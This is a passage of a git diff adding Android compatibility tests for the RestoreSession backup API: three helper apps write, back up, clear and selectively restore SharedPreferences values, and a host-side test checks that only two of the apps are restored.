+        <uses-library android:name="android.test.runner" />
+
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.restoresessionapp" />
+</manifest>
diff --git a/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/BaseRestoreSessionAppTest.java b/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/BaseRestoreSessionAppTest.java
new file mode 100644
index 0000000..85b05d3
--- /dev/null
+++ b/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/BaseRestoreSessionAppTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2019 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.backup.restoresessionapp;
+
+import static androidx.test.InstrumentationRegistry.getTargetContext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.content.SharedPreferences;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class BaseRestoreSessionAppTest {
+    private static final String SHARED_PREFERENCES_FILE = "restore_session_app_prefs";
+
+    private SharedPreferences mPreferences;
+
+    @Before
+    public void setUp() {
+        mPreferences =
+                getTargetContext()
+                        .getSharedPreferences(SHARED_PREFERENCES_FILE, Context.MODE_PRIVATE);
+    }
+
+    protected void clearSharedPrefs() {
+        mPreferences.edit().clear().commit();
+    }
+
+    protected void checkSharedPrefsDontExist(String prefKey) {
+        assertThat(mPreferences.getInt(prefKey, 0)).isEqualTo(0);
+    }
+
+    protected void saveValuesToSharedPrefs(String prefKey, int prefValue) {
+        mPreferences.edit().putInt(prefKey, prefValue).commit();
+    }
+
+    protected void checkSharedPrefsExist(String prefKey, int prefValue) {
+        assertThat(mPreferences.getInt(prefKey, 0)).isEqualTo(prefValue);
+    }
+}
diff --git a/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/RestoreSessionTest.java b/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/RestoreSessionTest.java
new file mode 100644
index 0000000..06b9ae0
--- /dev/null
+++ b/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/RestoreSessionTest.java
@@ -0,0 +1,237 @@
+/*
+ * Copyright (C) 2019 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.backup.restoresessionapp;
+
+import static androidx.test.InstrumentationRegistry.getTargetContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertNotEquals;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.app.backup.BackupManager;
+import android.app.backup.BackupManagerMonitor;
+import android.app.backup.RestoreObserver;
+import android.app.backup.RestoreSession;
+import android.app.backup.RestoreSet;
+import android.content.Context;
+import android.os.Bundle;
+
+import android.platform.test.annotations.AppModeFull;
+import androidx.test.runner.AndroidJUnit4;
+
+// import com.android.compatibility.common.util.SystemUtil;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashSet;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Device side routines to be invoked by the host side RestoreSessionHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class RestoreSessionTest {
+    private static final String PACKAGE_1 = "android.cts.backup.restoresessionapp1";
+    private static final String PACKAGE_2 = "android.cts.backup.restoresessionapp2";
+    private static final String PACKAGE_3 = "android.cts.backup.restoresessionapp3";
+
+    private static final int RESTORE_TIMEOUT_SECONDS = 10;
+
+    private BackupManager mBackupManager;
+    private Set<String> mRestorePackages;
+    private Set<String> mNonRestorePackages;
+    private CountDownLatch mRestoreObserverLatch;
+    private RestoreSession mRestoreSession;
+    private UiAutomation mUiAutomation;
+    private long mRestoreToken;
+
+    private final RestoreObserver mRestoreObserver =
+            new RestoreObserver() {
+                @Override
+                public void restoreSetsAvailable(RestoreSet[] result) {
+                    super.restoreSetsAvailable(result);
+
+                    long token = 0L;
+
+                    for (RestoreSet restoreSet : result) {
+                        long restoreToken = restoreSet.token;
+                        if (doesRestoreSetContainAllPackages(restoreToken, mRestorePackages)
+                                && doesRestoreSetContainAllPackages(
+                                        restoreToken, mNonRestorePackages)) {
+                            token = restoreSet.token;
+                            break;
+                        }
+                    }
+
+                    mRestoreToken = token;
+
+                    mRestoreObserverLatch.countDown();
+                }
+
+                @Override
+                public void restoreStarting(int numPackages) {
+                    super.restoreStarting(numPackages);
+
+                    assertEquals(
+                            "Wrong number of packages in the restore set",
+                            mRestorePackages.size(),
+                            numPackages);
+                    mRestoreObserverLatch.countDown();
+                }
+
+                @Override
+                public void onUpdate(int nowBeingRestored, String currentPackage) {
+                    super.onUpdate(nowBeingRestored, currentPackage);
+
+                    assertTrue(
+                            "Restoring package that is not in mRestorePackages",
+                            mRestorePackages.contains(currentPackage));
+                    mRestoreObserverLatch.countDown();
+                }
+
+                @Override
+                public void restoreFinished(int error) {
+                    super.restoreFinished(error);
+
+                    assertEquals(
+                            "Restore finished with error: " + error, BackupManager.SUCCESS, error);
+                    mRestoreSession.endRestoreSession();
+                    mRestoreObserverLatch.countDown();
+                }
+            };
+
+    @Before
+    public void setUp() throws InterruptedException {
+        Context context = getTargetContext();
+        mBackupManager = new BackupManager(context);
+
+        mRestorePackages = new HashSet<>();
+        mRestorePackages.add(PACKAGE_1);
+        mRestorePackages.add(PACKAGE_2);
+
+        mNonRestorePackages = new HashSet<>();
+        mNonRestorePackages.add(PACKAGE_3);
+
+        mRestoreToken = 0L;
+
+        mUiAutomation = getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity();
+
+        loadAvailableRestoreSets();
+    }
+
+    @After
+    public void tearDown() {
+        mUiAutomation.dropShellPermissionIdentity();
+    }
+
+    /**
+     * Restore packages added to mRestorePackages and verify only those packages are restored. Use
+     * {@link RestoreSession#restorePackages(long, RestoreObserver, Set)}
+     */
+    @Test
+    public void testRestorePackages() throws InterruptedException {
+        testRestorePackagesInternal(false);
+    }
+
+    /**
+     * Restore packages added to mRestorePackages and verify only those packages are restored. Use
+     * {@link RestoreSession#restorePackages(long, RestoreObserver, Set, BackupManagerMonitor)}
+     */
+    @Test
+    public void testRestorePackagesWithMonitorParam() throws InterruptedException {
+        testRestorePackagesInternal(true);
+    }
+
+    private void testRestorePackagesInternal(boolean useMonitorParam) throws InterruptedException {
+        // Wait for the callbacks from RestoreObserver: one for each package from
+        // mRestorePackages plus restoreStarting and restoreFinished.
+        mRestoreObserverLatch = new CountDownLatch(mRestorePackages.size() + 2);
+        CountDownLatch backupMonitorLatch = null;
+        if (useMonitorParam) {
+            // Wait for the callbacks from BackupManagerMonitor: one for each package.
+            backupMonitorLatch = new CountDownLatch(mRestorePackages.size());
+            mRestoreSession.restorePackages(
+                    mRestoreToken,
+                    mRestoreObserver,
+                    mRestorePackages,
+                    new TestBackupMonitor(backupMonitorLatch));
+        } else {
+            mRestoreSession.restorePackages(mRestoreToken, mRestoreObserver, mRestorePackages);
+        }
+
+        awaitResultAndAssertSuccess(mRestoreObserverLatch);
+        if (backupMonitorLatch != null) {
+            awaitResultAndAssertSuccess(backupMonitorLatch);
+        }
+    }
+
+    private void loadAvailableRestoreSets() throws InterruptedException {
+        // Wait for getAvailableRestoreSets to finish and the callback to be fired.
+        mRestoreObserverLatch = new CountDownLatch(1);
+        mRestoreSession = mBackupManager.beginRestoreSession();
+        assertEquals(
+                BackupManager.SUCCESS, mRestoreSession.getAvailableRestoreSets(mRestoreObserver));
+        awaitResultAndAssertSuccess(mRestoreObserverLatch);
+
+        assertNotEquals("Restore set not found", 0L, mRestoreToken);
+    }
+
+    private boolean doesRestoreSetContainAllPackages(long restoreToken, Set<String> packages) {
+        for (String restorePackage : packages) {
+            if (mBackupManager.getAvailableRestoreToken(restorePackage) != restoreToken) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    private void awaitResultAndAssertSuccess(CountDownLatch latch) throws InterruptedException {
+        boolean waitResult = latch.await(RESTORE_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        assertTrue("Restore timed out", waitResult);
+    }
+
+    private static class TestBackupMonitor extends BackupManagerMonitor {
+        private final CountDownLatch mLatch;
+
+        TestBackupMonitor(CountDownLatch latch) {
+            mLatch = latch;
+        }
+
+        @Override
+        public void onEvent(Bundle event) {
+            super.onEvent(event);
+
+            int eventType = event.getInt(BackupManagerMonitor.EXTRA_LOG_EVENT_ID);
+            assertEquals(
+                    "Unexpected event from BackupManagerMonitor: " + eventType,
+                    BackupManagerMonitor.LOG_EVENT_ID_VERSIONS_MATCH,
+                    eventType);
+            mLatch.countDown();
+        }
+    }
+}
diff --git a/hostsidetests/backup/restoresessionapp1/Android.bp b/hostsidetests/backup/restoresessionapp1/Android.bp
new file mode 100644
index 0000000..2eb5d0e
--- /dev/null
+++ b/hostsidetests/backup/restoresessionapp1/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsRestoreSessionApp1",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "truth-prebuilt",
+        "CtsRestoreSessionApp",
+    ],
+    srcs: [
+        "src/**/*.java"
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+    ],
+    sdk_version: "system_current",
+}
diff --git a/hostsidetests/backup/restoresessionapp1/AndroidManifest.xml b/hostsidetests/backup/restoresessionapp1/AndroidManifest.xml
new file mode 100644
index 0000000..ae6b205
--- /dev/null
+++ b/hostsidetests/backup/restoresessionapp1/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the Licensea
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.restoresessionapp1">
+
+    <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="26"/>
+
+    <application
+        android:label="RestoreSessionApp"
+        android:allowBackup="true">
+
+        <uses-library android:name="android.test.runner" />
+
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.restoresessionapp1" />
+</manifest>
diff --git a/hostsidetests/backup/restoresessionapp1/src/android/cts/backup/restoresessionapp1/RestoreSessionAppTest.java b/hostsidetests/backup/restoresessionapp1/src/android/cts/backup/restoresessionapp1/RestoreSessionAppTest.java
new file mode 100644
index 0000000..f82d058
--- /dev/null
+++ b/hostsidetests/backup/restoresessionapp1/src/android/cts/backup/restoresessionapp1/RestoreSessionAppTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2019 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.backup.restoresessionapp1;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import android.cts.backup.restoresessionapp.BaseRestoreSessionAppTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Device side routines to be invoked by the host side RestoreSessionHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+public class RestoreSessionAppTest extends BaseRestoreSessionAppTest {
+    private static final String SHARED_PREFERENCES_KEY = "test_key_1";
+    private static final int SHARED_PREFERENCES_VALUE = 123;
+
+    @Test
+    public void testClearSharedPrefs() {
+        clearSharedPrefs();
+    }
+
+    @Test
+    public void testCheckSharedPrefsDontExist() {
+        checkSharedPrefsDontExist(SHARED_PREFERENCES_KEY);
+    }
+
+    @Test
+    public void testSaveValuesToSharedPrefs() {
+        saveValuesToSharedPrefs(SHARED_PREFERENCES_KEY, SHARED_PREFERENCES_VALUE);
+    }
+
+    @Test
+    public void testCheckSharedPrefsExist() {
+        checkSharedPrefsExist(SHARED_PREFERENCES_KEY, SHARED_PREFERENCES_VALUE);
+    }
+}
diff --git a/hostsidetests/backup/restoresessionapp2/Android.bp b/hostsidetests/backup/restoresessionapp2/Android.bp
new file mode 100644
index 0000000..e389054
--- /dev/null
+++ b/hostsidetests/backup/restoresessionapp2/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsRestoreSessionApp2",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "truth-prebuilt",
+        "CtsRestoreSessionApp",
+    ],
+    srcs: [
+        "src/**/*.java"
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+    ],
+    sdk_version: "system_current",
+}
diff --git a/hostsidetests/backup/restoresessionapp2/AndroidManifest.xml b/hostsidetests/backup/restoresessionapp2/AndroidManifest.xml
new file mode 100644
index 0000000..757c801
--- /dev/null
+++ b/hostsidetests/backup/restoresessionapp2/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the Licensea
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.restoresessionapp2">
+
+    <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="26"/>
+
+    <application
+        android:label="RestoreSessionApp"
+        android:allowBackup="true"/>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.restoresessionapp2" />
+</manifest>
diff --git a/hostsidetests/backup/restoresessionapp2/src/android/cts/backup/restoresessionapp2/RestoreSessionAppTest.java b/hostsidetests/backup/restoresessionapp2/src/android/cts/backup/restoresessionapp2/RestoreSessionAppTest.java
new file mode 100644
index 0000000..458103b
--- /dev/null
+++ b/hostsidetests/backup/restoresessionapp2/src/android/cts/backup/restoresessionapp2/RestoreSessionAppTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2019 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.backup.restoresessionapp2;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import android.cts.backup.restoresessionapp.BaseRestoreSessionAppTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Device side routines to be invoked by the host side RestoreSessionHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+public class RestoreSessionAppTest extends BaseRestoreSessionAppTest {
+    private static final String SHARED_PREFERENCES_KEY = "test_key_2";
+    private static final int SHARED_PREFERENCES_VALUE = 124;
+
+    @Test
+    public void testClearSharedPrefs() {
+        clearSharedPrefs();
+    }
+
+    @Test
+    public void testCheckSharedPrefsDontExist() {
+        checkSharedPrefsDontExist(SHARED_PREFERENCES_KEY);
+    }
+
+    @Test
+    public void testSaveValuesToSharedPrefs() {
+        saveValuesToSharedPrefs(SHARED_PREFERENCES_KEY, SHARED_PREFERENCES_VALUE);
+    }
+
+    @Test
+    public void testCheckSharedPrefsExist() {
+        checkSharedPrefsExist(SHARED_PREFERENCES_KEY, SHARED_PREFERENCES_VALUE);
+    }
+}
diff --git a/hostsidetests/backup/restoresessionapp3/Android.bp b/hostsidetests/backup/restoresessionapp3/Android.bp
new file mode 100644
index 0000000..1451823
--- /dev/null
+++ b/hostsidetests/backup/restoresessionapp3/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsRestoreSessionApp3",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "truth-prebuilt",
+        "CtsRestoreSessionApp",
+    ],
+    srcs: [
+        "src/**/*.java"
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+    ],
+    sdk_version: "system_current",
+}
diff --git a/hostsidetests/backup/restoresessionapp3/AndroidManifest.xml b/hostsidetests/backup/restoresessionapp3/AndroidManifest.xml
new file mode 100644
index 0000000..027cf68
--- /dev/null
+++ b/hostsidetests/backup/restoresessionapp3/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the Licensea
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.restoresessionapp3">
+
+    <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="26"/>
+
+    <application
+        android:label="RestoreSessionApp"
+        android:allowBackup="true"/>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.restoresessionapp3" />
+</manifest>
diff --git a/hostsidetests/backup/restoresessionapp3/src/android/cts/backup/restoresessionapp3/RestoreSessionAppTest.java b/hostsidetests/backup/restoresessionapp3/src/android/cts/backup/restoresessionapp3/RestoreSessionAppTest.java
new file mode 100644
index 0000000..b034e1a
--- /dev/null
+++ b/hostsidetests/backup/restoresessionapp3/src/android/cts/backup/restoresessionapp3/RestoreSessionAppTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2019 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.backup.restoresessionapp3;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import android.cts.backup.restoresessionapp.BaseRestoreSessionAppTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Device side routines to be invoked by the host side RestoreSessionHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+public class RestoreSessionAppTest extends BaseRestoreSessionAppTest {
+    private static final String SHARED_PREFERENCES_KEY = "test_key_3";
+    private static final int SHARED_PREFERENCES_VALUE = 125;
+
+    @Test
+    public void testClearSharedPrefs() {
+        clearSharedPrefs();
+    }
+
+    @Test
+    public void testCheckSharedPrefsDontExist() {
+        checkSharedPrefsDontExist(SHARED_PREFERENCES_KEY);
+    }
+
+    @Test
+    public void testSaveValuesToSharedPrefs() {
+        saveValuesToSharedPrefs(SHARED_PREFERENCES_KEY, SHARED_PREFERENCES_VALUE);
+    }
+
+    @Test
+    public void testCheckSharedPrefsExist() {
+        checkSharedPrefsExist(SHARED_PREFERENCES_KEY, SHARED_PREFERENCES_VALUE);
+    }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
new file mode 100644
index 0000000..9c5d890
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.compatibility.common.util.BackupUtils;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.io.IOException;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Optional;
+
+/**
+ * Tests for system APIs in {@link RestoreSession}
+ *
+ * <p>These tests use the local transport.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
+public class RestoreSessionHostSideTest extends BaseBackupHostSideTest {
+    private static final int USER_SYSTEM = 0;
+    private static final String MAIN_TEST_APP_PKG = "android.cts.backup.restoresessionapp";
+    private static final String DEVICE_MAIN_TEST_CLASS_NAME =
+            MAIN_TEST_APP_PKG + ".RestoreSessionTest";
+    private static final String MAIN_TEST_APK = "CtsRestoreSessionApp.apk";
+
+    private static final String TEST_APP_PKG_PREFIX = "android.cts.backup.restoresessionapp";
+    private static final String TEST_APP_APK_PREFIX = "CtsRestoreSessionApp";
+    private static final int TEST_APPS_COUNT = 3;
+
+    private Optional<String> mOldTransport = Optional.empty();
+    private BackupUtils mBackupUtils;
+
+    /** Switch to local transport. */
+    @Before
+    public void setUp() throws Exception {
+        mBackupUtils = getBackupUtils();
+        mOldTransport = Optional.of(setBackupTransport(mBackupUtils.getLocalTransportName()));
+        installPackage(MAIN_TEST_APK);
+    }
+
+    /** Restore transport settings to original values. */
+    @After
+    public void tearDown() throws Exception {
+        if (mOldTransport.isPresent()) {
+            setBackupTransport(mOldTransport.get());
+            mOldTransport = Optional.empty();
+
+            uninstallPackage(MAIN_TEST_APK);
+        }
+    }
+
+    /** Test {@link RestoreSession#restorePackages(long, RestoreObserver, Set)} */
+    @Test
+    public void testRestorePackages() throws Exception {
+        testRestorePackagesInternal("testRestorePackages");
+    }
+
+    /**
+     * Test {@link RestoreSession#restorePackages(long, RestoreObserver, Set, BackupManagerMonitor)}
+     */
+    @Test
+    public void testRestorePackagesWithMonitorParam() throws Exception {
+        testRestorePackagesInternal("testRestorePackagesWithMonitorParam");
+    }
+
+    /**
+     *
+     *
+     * <ol>
+     *   <li>Install 3 test packages on the device
+     *   <li>Write dummy values to shared preferences for each package
+     *   <li>Backup each package (adb shell bmgr backupnow)
+     *   <li>Clear shared preferences for each package
+     *   <li>Run restore for 2 of the packages and verify that only they were restored
+     *   <li>Verify that shared preferences for the 2 packages are restored correctly
+     * </ol>
+     */
+    private void testRestorePackagesInternal(String deviceTestName) throws Exception {
+        installPackage(getApkNameForTestApp(1));
+        installPackage(getApkNameForTestApp(2));
+        installPackage(getApkNameForTestApp(3));
+        //
+        // Write dummy value to shared preferences for all test packages.
+        checkRestoreSessionDeviceTestForAllApps("testSaveValuesToSharedPrefs");
+        checkRestoreSessionDeviceTestForAllApps("testCheckSharedPrefsExist");
+
+        // Backup all test packages.
+        mBackupUtils.backupNowAndAssertSuccess(getPackageNameForTestApp(1));
+        mBackupUtils.backupNowAndAssertSuccess(getPackageNameForTestApp(2));
+        mBackupUtils.backupNowAndAssertSuccess(getPackageNameForTestApp(3));
+
+        // Clear shared preferences for all test packages.
+        checkRestoreSessionDeviceTestForAllApps("testClearSharedPrefs");
+        checkRestoreSessionDeviceTestForAllApps("testCheckSharedPrefsDontExist");
+
+        runRestoreSessionDeviceTestAndAssertSuccess(
+                MAIN_TEST_APP_PKG, DEVICE_MAIN_TEST_CLASS_NAME, deviceTestName);
+
+        // Check that shared prefs are only restored (and restored correctly) for the first 2
+        // packages.
+        checkRestoreSessionDeviceTest(1, "testCheckSharedPrefsExist");
+        checkRestoreSessionDeviceTest(2, "testCheckSharedPrefsExist");
+        checkRestoreSessionDeviceTest(3, "testCheckSharedPrefsDontExist");
+
+        uninstallPackage(getPackageNameForTestApp(1));
+        uninstallPackage(getPackageNameForTestApp(2));
+        uninstallPackage(getPackageNameForTestApp(3));
+    }
+
+    /** Run the given device test for all test apps. */
+    private void checkRestoreSessionDeviceTestForAllApps(String testName)
+            throws DeviceNotAvailableException {
+        for (int appNumber = 1; appNumber <= TEST_APPS_COUNT; appNumber++) {
+            checkRestoreSessionDeviceTest(appNumber, testName);
+        }
+    }
+
+    /** Run device test with the given test name and test app number. */
+    private void checkRestoreSessionDeviceTest(int testAppNumber, String testName)
+            throws DeviceNotAvailableException {
+        String packageName = getPackageNameForTestApp(testAppNumber);
+        runRestoreSessionDeviceTestAndAssertSuccess(
+                packageName, packageName + ".RestoreSessionAppTest", testName);
+    }
+
+    private void runRestoreSessionDeviceTestAndAssertSuccess(
+            String packageName, String fullClassName, String testName)
+            throws DeviceNotAvailableException {
+        boolean result = runDeviceTests(packageName, fullClassName, testName);
+        assertTrue("Device test failed: " + testName, result);
+    }
+
+    private String getPackageNameForTestApp(int appNumber) {
+        return TEST_APP_PKG_PREFIX + appNumber;
+    }
+
+    private String getApkNameForTestApp(int appNumber) {
+        return TEST_APP_APK_PREFIX + appNumber + ".apk";
+    }
+
+    private String setBackupTransport(String transport) throws IOException {
+        return mBackupUtils.setBackupTransportForUser(transport, USER_SYSTEM);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/Android.mk b/hostsidetests/checkpoint/Android.mk
similarity index 63%
copy from hostsidetests/securitybulletin/test-apps/Android.mk
copy to hostsidetests/checkpoint/Android.mk
index f8d63a5..7f044b0 100644
--- a/hostsidetests/securitybulletin/test-apps/Android.mk
+++ b/hostsidetests/checkpoint/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -16,8 +16,20 @@
 
 include $(CLEAR_VARS)
 
